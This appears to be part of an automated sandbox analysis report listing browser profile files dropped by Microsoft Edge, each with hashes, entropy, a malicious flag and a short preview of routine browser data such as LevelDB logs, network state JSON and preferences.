SHA-256:	301FC6EEC6134521CAA7A37A878E4EFE4C44BD6131206C998BC3E0D576E16E20
SHA-512:	AE2331A8116517443C324F2400655E24DF5D24BAADFB5154C4166952B96853305E1085CC9166D02C0DC037EB5BA6354C4FAE901012CE44439733E62F60C004DD
Malicious:	false
Preview:	2024/11/18-07:29:22.688 b64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-07:29:22.689 b64 Recovering log #3.2024/11/18-07:29:22.691 b64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1407
Entropy (8bit):	5.600936185081387
Encrypted:	false
SSDEEP:	24:AtZWdUlHTNlaDVtE5hhbU+6XZMWKiV03y1x49u3N2gFHHmx2ztPFR2vWMyG:AtZsSaD/E96XZbpV03Sx49u3fHHQ2zta
MD5:	5C2C88C03113992A1DA1AF0F1A2B5DA8
SHA1:	F1F78FB265D737B589C6CDCFD0965BBA78C2A336
SHA-256:	FE452097CF9A3BEB92339BFB57F3350D50B75FBE1728B1B6A26ABEE028329D49
SHA-512:	B0E4A13D4476A91F44A691D554A88501BF852B01CB7E3EBCEE418D85008831CF8D4204BD60AE822F7BB0C90B3D024AFF8D45643DD60D9793918EB7647E23125F
Malicious:	false
Preview:	.Q.x................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":719}.!_https://ntp.msn.com..LastKnownPV..1731932970501.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731932972253.._https://ntp.msn.com..MUID!.12002C73CB2660100B753948CA036107.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731932970610,"schedule":[-1,26,-1,9,24,-1,-1],"scheduleFixed":[-1,26,-1,9,24,-1,-1],"simpleSchedule":[36,21,19,46,35,39,40]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731932970455.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.190371331878721
Encrypted:	false
SSDEEP:	6:HUOsH9+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YUOsCUUBXJZmw+YUOs+39VkwOCHhJz:zvBYeb8EFUt84/+6z56Yeb8bJ
MD5:	D30FA29989BF8E17133AB3255A4C7A6B
SHA1:	BF47355E993E327E17A6BA1B00ED387D95DD1018
SHA-256:	91C9C1E8B75C4525310016AAA21FB3974EE06786EA57BFCC3E18F26D2C1A2597
SHA-512:	55E8C3D49AED0EC14C72115809D939C8F610E1CFB6281587F982E57C098715ED7DEB362C75135CA9EB1D3AEA3006CF6777B8F897BCB35CC8D90BC99929A672CE
Malicious:	false
Preview:	2024/11/18-07:29:18.806 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-07:29:18.809 11d8 Recovering log #3.2024/11/18-07:29:18.915 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.190371331878721
Encrypted:	false
SSDEEP:	6:HUOsH9+q2PCHhJ23oH+Tcwt8a2jMGIFUt8YUOsCUUBXJZmw+YUOs+39VkwOCHhJz:zvBYeb8EFUt84/+6z56Yeb8bJ
MD5:	D30FA29989BF8E17133AB3255A4C7A6B
SHA1:	BF47355E993E327E17A6BA1B00ED387D95DD1018
SHA-256:	91C9C1E8B75C4525310016AAA21FB3974EE06786EA57BFCC3E18F26D2C1A2597
SHA-512:	55E8C3D49AED0EC14C72115809D939C8F610E1CFB6281587F982E57C098715ED7DEB362C75135CA9EB1D3AEA3006CF6777B8F897BCB35CC8D90BC99929A672CE
Malicious:	false
Preview:	2024/11/18-07:29:18.806 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-07:29:18.809 11d8 Recovering log #3.2024/11/18-07:29:18.915 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\364d9e71-d296-4cff-8eef-8b22aedbfc91.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4664e326-eb83-4b31-b690-ce8d84560096.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6341bc94-384e-4d54-a79c-89d16ec754be.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6cbd1a7d-67a7-468f-a930-fdc09eefd5b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.8220025054797424
Encrypted:	false
SSDEEP:	192:tTriTZP57n45O21rdCO52lAi9+gAT+QBd4Q0c4p0L/ZJVb:Vm9hjET1rdH52lh9JATV0lp0LhJVb
MD5:	3C1DD7F3E1181D7CA7608E181501C8D3
SHA1:	610943D467A4D1EA1243149FCEB96EE8164FA5E3
SHA-256:	64D0DBFEC868A50AA29EC3C7E251992D9269AC53EFCDB9693E25EAD5AC8C9AC3
SHA-512:	100B7B308A6F8E0D44A9E369FC0E3DFF83C56A5187944A5BFB97686A1EA40F76CA471AEE4A96D97508795287C4E2FC69DAAFBAE8CB29C7A59E25B09021C85695
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.294143558286611
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n+:YcCpWsPuCvs+fcKsFgCgakhYhbt
MD5:	DEEB2D761805431D78E6355754FA6576
SHA1:	061EF12348ADD51675F15AAF4A77DCD73438CA39
SHA-256:	44749091A5A4F5280F5122377119D38C8389BA26926A9FCA8CC5D08ACD1FED48
SHA-512:	F224210C23FBD30B946E98A4E6FBCAED15D3588435F5874A19DC270323C0800A3E4AE71F654C27951924F3C7D5EB883EDACAC168599582222112F43813A09E21
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3769171229909927
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6m8BmdKlGFh5p18Aw1a:+IEumQv8m1ccnvS6Dgd6Kp1fr
MD5:	CABA105C1E7AEA8FDA3080E150847683
SHA1:	3D8422ED82868DA80E65FF0CB26C11E0FF611208
SHA-256:	1FA227F6C2DB2B8F7385AEA5B3783A02E1869A8A9A05DD9EF69E66A637751407
SHA-512:	F8076B8A510C9D263937E4B85AD5BE7331120E204086B031CD7CB099E34F98890513D809B85EA1AB1B909634B7DBDB724871552CB98F6C841D2742FBA4DA7BAF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF299d5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a89a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a49e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF3cbcd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b9b125c4-4499-40ca-8056-06de369f4f43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\be12ba7c-35d0-428b-9f54-5428aec4a49e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f0b73e0a-7fa9-4615-9949-7946502948bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12456
Entropy (8bit):	5.2073910060123
Encrypted:	false
SSDEEP:	192:stBJ99QTryDigabatSuypOs4iIa34Hk7LT8ibV+FrjQA40kq7NIgPIYJ:stBPGKSu4Os4iXjbGvQx0X7NI8
MD5:	EFFCD8D824E4676E2A00143F77A94D65
SHA1:	F42C376319D01741131C914DC8A3E95F61A103D4
SHA-256:	DF5A9846AAF4A3DF9ACF4BB24FEAF7F4EE216D21FA63341FE80FFFEC0DE75DAC
SHA-512:	2E1CEBA939E2D103DF308896AA14458FAE61B0BC9F8575EF9FE3663A722D057B10AFD5FA4550AFEE17835018035BA37151B5EDACC72C79CEE15A6023995031D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ddb4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12456
Entropy (8bit):	5.2073910060123
Encrypted:	false
SSDEEP:	192:stBJ99QTryDigabatSuypOs4iIa34Hk7LT8ibV+FrjQA40kq7NIgPIYJ:stBPGKSu4Os4iXjbGvQx0X7NI8
MD5:	EFFCD8D824E4676E2A00143F77A94D65
SHA1:	F42C376319D01741131C914DC8A3E95F61A103D4
SHA-256:	DF5A9846AAF4A3DF9ACF4BB24FEAF7F4EE216D21FA63341FE80FFFEC0DE75DAC
SHA-512:	2E1CEBA939E2D103DF308896AA14458FAE61B0BC9F8575EF9FE3663A722D057B10AFD5FA4550AFEE17835018035BA37151B5EDACC72C79CEE15A6023995031D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3151f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12456
Entropy (8bit):	5.2073910060123
Encrypted:	false
SSDEEP:	192:stBJ99QTryDigabatSuypOs4iIa34Hk7LT8ibV+FrjQA40kq7NIgPIYJ:stBPGKSu4Os4iXjbGvQx0X7NI8
MD5:	EFFCD8D824E4676E2A00143F77A94D65
SHA1:	F42C376319D01741131C914DC8A3E95F61A103D4
SHA-256:	DF5A9846AAF4A3DF9ACF4BB24FEAF7F4EE216D21FA63341FE80FFFEC0DE75DAC
SHA-512:	2E1CEBA939E2D103DF308896AA14458FAE61B0BC9F8575EF9FE3663A722D057B10AFD5FA4550AFEE17835018035BA37151B5EDACC72C79CEE15A6023995031D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376406558673894","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF33e81.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12456
Entropy (8bit):	5.2073910060123
Encrypted:	false
SSDEEP:	192:stBJ99QTryDigabatSuypOs4iIa34Hk7LT8ibV+FrjQA40kq7NIgPIYJ:stBPGKSu4Os4iXjbGvQx0X7NI8
MD5:	EFFCD8D824E4676E2A00143F77A94D65
SHA1:	F42C376319D01741131C914DC8A3E95F61A103D4
SHA-256:	DF5A9846AAF4A3DF9ACF4BB24FEAF7F4EE216D21FA63341FE80FFFEC0DE75DAC
SHA-512:	2E1CEBA939E2D103DF308896AA14458FAE61B0BC9F8575EF9FE3663A722D057B10AFD5FA4550AFEE17835018035BA37151B5EDACC72C79CEE15A6023995031D3
Malicious:	false
